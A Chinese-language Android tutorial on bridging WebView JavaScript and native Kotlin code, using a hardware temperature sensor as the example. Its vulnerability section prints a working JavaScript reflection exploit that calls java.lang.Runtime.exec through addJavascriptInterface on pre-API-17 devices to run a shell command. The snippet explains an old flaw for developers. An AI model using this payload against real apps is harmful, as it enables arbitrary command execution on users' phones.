前言
在 APP 中內嵌一個 H5 來實現特定的業務功能已經是非常成熟且常用的方案了。
雖然 H5 已經能夠實現大多數的需求,但是對于某些需求還是得依靠原生代碼來實現然后與 JavaScript 進行交互,例如我目前所負責的項目就是一個 “智能硬件” 設備,需要外接非常多的硬件或傳感器獲取特定的數據,并在實際業務中使用。此時如果直接使用 H5 是無法獲取到這些數據的,這就必須依賴于安卓原生提供相應的數據。
JavaScript 調用 Android 原生方法
webView.addJavascriptInterface()
簡介
webView.addJavascriptInterface()
有兩個參數 Object obj, String interfaceName
。
- 其中 object 即需要提供給 js 調用的對象。在 Android 4.1.2 (API 16) 以下時,js 可以調用該對象的所有公開方法;在 Android 4.2 (API 17)以上時, js 只能調用添加了
@JavascriptInterface
注解的公開方法。
之所以會有這樣的改動,是因為在 API 16 之前可以調用所有公開方法具有安全隱患,例如可以利用 jave 的反射機制實現任意命令的執行。
- interfaceName 即 js 調用時的接口名稱。
使用方法
首先,我們定義一個類用于給 js 調用:
class TestJsBridge {@JavascriptInterfacefun getCurrentTemperature(): String {val data = "37.5" // 模擬從傳感器獲取的數據return data}
}
然后,我們需要允許 WebView 的 js 支持:
val webSettings = webView.settings
webSettings.javaScriptEnabled = true
接下來,將第一步中定義的 TestJsBridge
對象通過 addJavascriptInterface
注入到 js 中:
webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")
現在,我們就可以直接在 JavaScript 中調用這個方法了:
<script type="text/javascript">var temp = NativeBridge.getCurrentTemperature();
</script>
此時,在 js 中,temp 的值就是 37.5
。
另外需要注意的是,js 調用 java 的方法不是在主線程中調用的,而是在 webview 自己線程中調用的,所以在編寫某些涉及到 UI 的操作時需要先切換至主線程。
漏洞解析
對了,上文中說過在 API 16 以下的 addJavascriptInterface
有安全隱患,這里簡單舉一個例子演示如何通過反射在 js 中執行任意 sh。
首先,依舊是提供一個對象供 js 調用,這里我們直接給一個空對象:
class TestJsBridge {}
然后注入到 js 中:
webView.addJavascriptInterface(TestJsBridge(), "NativeBridge")
最后在 js 中這樣寫:
<script type="text/javascript">
for (var obj in window) {try {if ("getClass" in window[obj]) {try{ret= NativeBridge.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['echo', 'hello,equationl', '>', './sdcard/hack.txt']);} catch(e) { }}} catch(e) {}
}
</script>
這樣,即使我們注入 js 的對象什么方法都沒寫,還是會被執行 sh ,上述 sh 就是輸入一段字符串 “hello,equationl” 到 /sdcard/hack.txt
文件中。
shouldOverrideUrlLoading 攔截 URL
簡介
我們可以通過 webview 的 shouldOverrideUrlLoading
攔截到當前請求的 URL,并且可以修改以什么樣的方式去處理這個 URL。
換言之,我們可以在 js 中通過請求不同的 URL 來實現調用 java 代碼并且傳遞值。
使用方法
首先,我們需要自己規定一下哪種形式的 URL 會被認為是需要被攔截處理的。
這里我們就簡單的定為 “jsBridge://” 開頭的 URL 表示需要被攔截處理,而其后跟著的路徑表示調用哪個方法以及附帶的參數。
例如,“jsBridge://getNewMsg?id=monkey_fish” 表示需要調用 java 的 getNewMsg 方法,并且附帶參數 id 為 monkey_fish 。
接下來,我們覆寫 webview 的 shouldOverrideUrlLoading
方法,并在其中對 URL 進行處理。
webView.webViewClient = object : WebViewClient() {override fun shouldOverrideUrlLoading(view: WebView, request: WebResourceRequest): Boolean {// ------ 對alipays:相關的scheme處理 -------val url = request.url.toString()if (url.startsWith("jsBridge://")) {// 解析參數等等等,然后調用安卓代碼,這里假設是跳轉到一個新的 Activity// ……val intent = Intent(this@WebViewHolderActivity, MsgActivity::class.java)startActivity(intent)return true}return super.shouldOverrideUrlLoading(view, request)}
}
在 shouldOverrideUrlLoading
方法中返回 true 表示當前 URL 已被攔截,webview 將取消繼續加載,false 則表示繼續使用 webview 加載。
那么,js 如何調用這個方法呢?其實也很簡單,只要重定向一下當前網址即可:
<script type="text/javascript">document.location = "jsBridge://getNewMsg?id=monkey_fish";
</script>
通過上面的例子我們可以看出,這個方式其實不太適合于 js 和 安卓原生的交互,反而更適合用于回調某些內容,并且這個內容不需要網頁繼續操作。
事實上,大多數情況下這個方法是用于網頁授權登錄或者網頁支付等場景的。
例如,業務中某項第三方授權登錄使用的是 webview 打開第三方授權網頁,在網頁上完成登錄后,該第三方網頁會重定向到特定的 URL,并在其中帶入 token,例如:“authorize:xxxxxxxxxxx”。
此時,我們只需要攔截具有上述規則的 URL,并跳轉到我們的登錄界面即可,也就是說,后續操作就沒有這個網頁什么事了。
攔截對話框
簡介
我們還可以通過覆寫 onJsAlert
、 onJsConfirm
、 onJsPrompt
實現對 js 中的 alert()
confirm()
prompt()
三種不同的對話框的攔截和修改,從而變相的達到 js 調用原生代碼的目的。
三個對話框都可以通過 message
參數向安卓傳遞參數。
第一個對話框不能返回數據給 js ; 第二個對話框只能返回一個 Boolean 值給 js ;最后一個對話框 onJsPrompt
可以返回一個字符串給 js,所以一般都是使用 onJsPrompt
來實現 js 和安卓的交互,因此我們接下來就只以 onJsPrompt
舉例。
使用方法
要覆寫 onJsPrompt
需要先創建一個類繼承自 WebChromeClient()
,然后在其中覆寫 onJsPrompt
:
class MyWebChromeClient : WebChromeClient() {override fun onJsPrompt(view: WebView, url: String, message: String, defaultValue: String, result: JsPromptResult): Boolean {val resultMsg = getNext(message)result.confirm(resultMsg)return true}}
其中,result.confirm(resultMsg)
相當于我們點擊了這個對話框的確定按鈕,并且返回提供的值(resultMsg)。如果調用 result.cancel()
則相當于點擊了這個對話框的取消按鈕,此時返回值為 null 。
而 getNext
是我們的原生邏輯代碼,它會返回一個 String 的結果:
fun getNext(id: String): String {// ……if (id == "fish") return "我多么想成為你的鹿"// ……return ""}
然后將該類設置到 webview 上:
webView.webChromeClient = MyWebChromeClient()
現在,我們只需要在 js 中如此調用即可:
<script type="text/javascript">var nextMsg = prompt("fish");
</script>
此時 js 中的 nextMsg
變量就是通過原生安卓拿到的 “我多么想成為你的鹿” 。
Android 調用 JavaScript 方法
evaluateJavascript()
要在 webview 中調用 js 代碼也非常簡單,官方給出的方案就是直接使用 evaluateJavascript()
。
evaluateJavascript()
接收兩個參數: script
和 resultCallback
,其中 script
就是我們要執行的 js 代碼,可以執行任意 js 代碼;而 resultCallback
是執行結果回調,返回結果是 String 類型。
使用起來也十分簡單,例如我們想要調用 js 顯示一個 alert
彈框:
webView.evaluateJavascript("alert('hello, my fish, my monkey');") {println("執行結果: $it")
}
需要注意的是這里的返回結果是空的,因為 alert
本來就沒有返回值。
loadUrl()
另外一種在 webview 中調用 js 的代碼的方法就是使用 loadUrl()
,其實顧名思義,loadUrl()
是用來加載 URL 的,但是它同樣可以用來執行 js ,就如同我們直接在瀏覽器地址欄中輸入一樣:
javascript:alert('hello, my deer');
在 webview 中使用也一樣:
webView.loadUrl("javascript:alert('hello, my deer');")
但是使用這種方式調用有一種顯而易見的缺點,那就是我們無法直接拿到 js 執行的結果。
實踐使用
上面已經簡要介紹了如何實現安卓原生和 H5 或者說和 js 的交互。
下面我就簡單說一下在實際中的應用。
還是以我負責的這個項目為例,在我這個項目中更多的是需要將硬件的能力或者說數據傳遞給 js 以供 H5 來使用,所以我基本都是在使用 webView.addJavascriptInterface()
。
另外在提供數據給 js 時還會涉及到兩種提供方式。
因為在這個項目中,所有硬件的數據都是實時輪詢后實時回報給安卓端 APP 的,所以在提供給 JS 時同樣需要提供兩種形式的數據:一是當前某個傳感器的瞬時數據;二是希望能夠實時提供某個傳感器的數據。
對于情況一非常好實現,這里以獲取溫度傳感器的瞬時值舉例。
首先先定義一些工具方法,用于將返回的數據格式化成固定格式:
fun getCommonResponse(code: Int = WebViewCode.OK, message: String = "", data: String): String {return Gson().toJson(CommonResponse(code, message, data))}
然后定義需要注入 js 的接口:
class JsTemp {@JavascriptInterfacefun getCurrentTemp(): String {if (!TempManager.isConnected()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "沒有連接溫度傳感器", data = "")}if (!TempManager.isDeviceExist()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "沒有可用的溫度傳感器", data = "")}return WebViewUtil.getCommonResponse(data = TempManager.currentTemp.toString())}
}
將其注入 webView:
val jsTemp by lazy { JsTemp() }
val JsTempObject = "NativeTemp"// ……webView.addJavascriptInterface(jsTemp, JsTempObject)
然后在 H5 中如此調用:
<html><head><title>test</title>
</head><body><div class="toast-div" id="currentTemp" onclick="getCurrentTemp()">獲取當前溫度</div><div id="temp">temp: null</div></body><script type="text/javascript">function getCurrentWeight() {document.getElementById("temp").innerHTML = "current temp: "+ NativeTemp.getCurrentTemp();}</script>
</html>
這樣即可在 H5 獲取當前溫度的瞬時值。
如果我們想要在 H5 中實時獲取溫度值的話,我們可以事先在 js 中定義好需要的回調函數,然后將函數傳遞給 webview,再由安卓原生在輪詢溫度值時通過 evaluateJavascript
將值回調給設置的 js 回調函數。
代碼如下,
首先,在 H5 中定義好用于接收溫度的值的回調函數,以及界面:
<!-- …… --><div class="toast-div" onclick="NativeTemp.addOnTempChangeListener('onTempChange')">添加溫度監聽</div><div class="toast-div" onclick="NativeTemp.removeOnTempChangeListener('onTempChange')">移除溫度監聽</div><!-- …… --><script type="text/javascript"><!-- …… -->function onTempChange(temp) {document.getElementById("temp").innerHTML = "temp callback: "+temp + " | " + Date.now();}<!-- …… --></script>
其中的 onTempChange
即為我們定義的用于接收回調的 js 函數名稱。
然后在安卓的接口類中:
// ……/*** 添加溫度改變時的監聽回調** @param callbackFunName JS 函數名,溫度改變時回調給哪個 JS 函數* @return 返回添加結果* */@JavascriptInterfacefun addOnTempChangeListener(callbackFunName: String): String {if (!TempManager.isConnected()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotConnect, message = "沒有連接溫度傳感器", data = "")}if (!TempManager.isDeviceExist()) {return WebViewUtil.getCommonResponse(code = WebViewCode.TempNotFound, message = "沒有可用的溫度傳感器", data = "")}val result = onTempChangeFunName.add(callbackFunName)return if (result) {WebViewUtil.getCommonResponse(data = "OK")} else {WebViewUtil.getCommonResponse(code = WebViewCode.CallBackAlreadyAdd, message = "$callbackFunName 已經添加", data = "")}}/*** 移除溫度改變時的監聽回調** @param callbackFunName JS 函數名,已添加的 JS 函數* @return 返回移除結果* */@JavascriptInterfacefun removeOnTempChangeListener(callbackFunName: String): String {val result = onTempChangeFunName.remove(callbackFunName)return if (result) {WebViewUtil.getCommonResponse(data = "OK")} else {WebViewUtil.getCommonResponse(code = WebViewCode.CallBackNotExist, message = "$callbackFunName 不存在", data = "")}}
// ……
其中的 onTempChangeFunName
是我們的定義的一個 Set ,用于存放當前設置的回調函數名稱:val onTempChangeFunName: MutableSet<String> = mutableSetOf()
。
最后,在輪詢溫度的地方調用:
while (true) {// ……val result = 36.5 // 模擬輪詢到溫度結果// ……if (onTempChangeFunName.isNotEmpty()) {val json = WebViewUtil.getCommonResponse(data = result.toString())for (function in onTempChangeFunName) {webView.evaluateJavascript("$function('$json');") {}}}delay(50)
}
自此,我們實時獲取溫度傳感器數值的目的也達成了。